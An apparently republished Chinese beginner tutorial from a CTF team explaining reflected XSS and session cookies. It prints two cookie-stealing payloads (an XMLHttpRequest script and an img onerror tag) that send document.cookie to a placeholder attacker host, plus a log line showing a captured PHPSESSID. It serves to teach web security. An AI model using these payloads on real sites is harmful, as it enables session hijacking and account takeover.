手绘安全 | XSS的前世今生
Posted 天枢Dubhe
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了手绘安全 | XSS的前世今生相关的知识,希望对你有一定的参考价值。
手绘安全
信息安全萌新教程
你的第一本白帽子入门指南
第一篇
XSS的前世今生
XSS是个什么呢?
网上说了很多XSS的流程,技巧balabala,类似于这样的。
反射型XSS,给小白一条诱饵链接:
小白很傻狠天真啊,就点了。
小白不知道这个页面有个漏洞——服务器端的代码有一个逻辑是把参数a的内容赤裸裸的插入到页面代码里,于是他,中招了。他的浏览器收到的代码就变成了这个样子:
xxxxxxxxx
xxxxxxxxx
<script>[给我你的cookie/弹个窗/在你的浏览器上画画]</script>
xxxxxxxx
xxxxxxxx
浏览器是个刚正不阿的角色,他不管代码是否有漏洞,一律执行。于是恶意代码就被浏览器执行了。
到此验证XSS漏洞算是结束了。这也是为什么网上很多XSS的payload只是弹个窗,其实只是一个装x的威胁,意为我可以在你的浏览器上执行任意的JS代码了!但这也导致很多人误以为 XSS= 弹窗
。= =||
在这个过程中的漏洞在于服务器没有正确处理好 参数a
,不应该不做处理直接插入到 html页面
里面
(⊙▽⊙"
说好的cookie呢、冒充管理员呢、紧张刺激的环节呢?
以上部分是漏洞验证部分,也就是说我们已经有能力在你的电脑上执行很多代码了。那么我们利用这些条件就可以做很多猥琐的事情。紧张刺激的漏洞利用部分来了。
JS(javascript)是一个在浏览器中可以被执行的脚本语言,功能很强大,我们有了以上的条件,随便写写就有很大的杀伤。众所周知的就是盗cookie。(当然还有其他的利用手段)
究竟为什么要盗cookie呢?(我也不知道,网上说xss要盗cookie我就盗cookie),这里要讲一个小插叙:
服务器每天都收到那么多请求,他怎么知道你是谁?
互联网的解决办法就是给你个工作证,每次来我的服务器的时候都得刷卡,每次来只认卡不认人。
举个栗子:php的 session
机制。在一个"正常"的业务逻辑中每次用户登录之后,服务器都会掏出小本子,把你的账户和一段字符串记下来,以后见面你就是那字符串,那字符串就是你。在他的小库房,你的字符串又存着你的个人信息。
这段字符串,哼哼,没错,一般就放在cookie里面叫 PHPSESSID
(其他编程语言或者框架里面可能不是这个)。
如果你拿到的是管理员(超级用户)的 session
字符串,那么恭喜你中奖了。下次你去那个网站的时候刷个管理员的卡你就是管理员了。
以上就是要cookie的理由。(推荐大家自己花两三天写个丑陋的小网站试一下,理解比较深入)
回到正题,既然cookie这么重要我们一定要拿到喽,[李白是我的,月亮是我的,全世界都是我的!]
强大的JS可以从浏览器中拿到cookie(在浏览器加载HTML时会生成的对象 document.cookie
中保存),然后我们要想怎么把他发出去:
发个HTTP请求吧,顺便吧cookie当作请求信息发出去,就相当于在url框中输入:
JS代码看起来是这样的:
<script>
a = new XMLHttpRequest(); #创建一个XMLHttpRequest的对象
url = 'http://xx.xx.xx.xx/?cookie='+escape(document.cookie); #构建传递cookie的url
a.open("GET",url,true); #设置请求方法,绑定url
a.send(null); #执行一个Http请求
</script>
也可以是这样的:
<img src=1 onerror='new Image().src="http://xx.xx.xx.xx/?cookie="+escape(document.cookie)'>
等等...
还有很多种姿势,大家自己百一百。
10.105.11.22 - - [19/Jun/2017:10:25:10 +0800] "GET /?cookie=PHPSESSID%3Dgaoshiqing HTTP/1.1" 200 415 "http://10.105.33.44/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36"
拿到了管理员的身份卡(PHPSESSID=gaoshiqing),到服务器上面打砸抢烧我可没有教你啊。
以上知识介绍了反射型XSS,XSS还有存储型和DOM型,以后会介绍哒。
总结
针对浏览器的攻击,简单粗暴的讲,最后达到的效果就是把你从你的电脑旁推开,在你的浏览器中执行代码(JS、html)
以上只是简单的利用过程,在实际应用中会有很多条件限制,如长度限制,标签过滤、CSP、httponly等等。那就需要大家的脑洞大开或者黑科技来找到一个解决方案。(也不是每个地方都能利用的)
推荐大家弄明白原理在去实战,具体几个方向可以从简单了解http协议,了解服务器的工作流程,实践才会有更加深入的理解。
XSS是国际赛的主流,现在的防护机制也很丰富。刚刚上手不是很容易理解,需要耐心琢磨、理解。
最后呢
最后就是和大家宣布 以后要陆陆续续出手绘安全的系列教程啦
也欢迎各路有干货的大佬来和我们投稿与分享
大家有什么意见和建议都可以提出来
希望能让更多的人了解信息安全
/
天枢战队
一直在努力 !
Spike:文案
Spike / Pinko:策划
Pinko:手绘
/
以上是关于手绘安全 | XSS的前世今生的主要内容,如果未能解决你的问题,请参考以下文章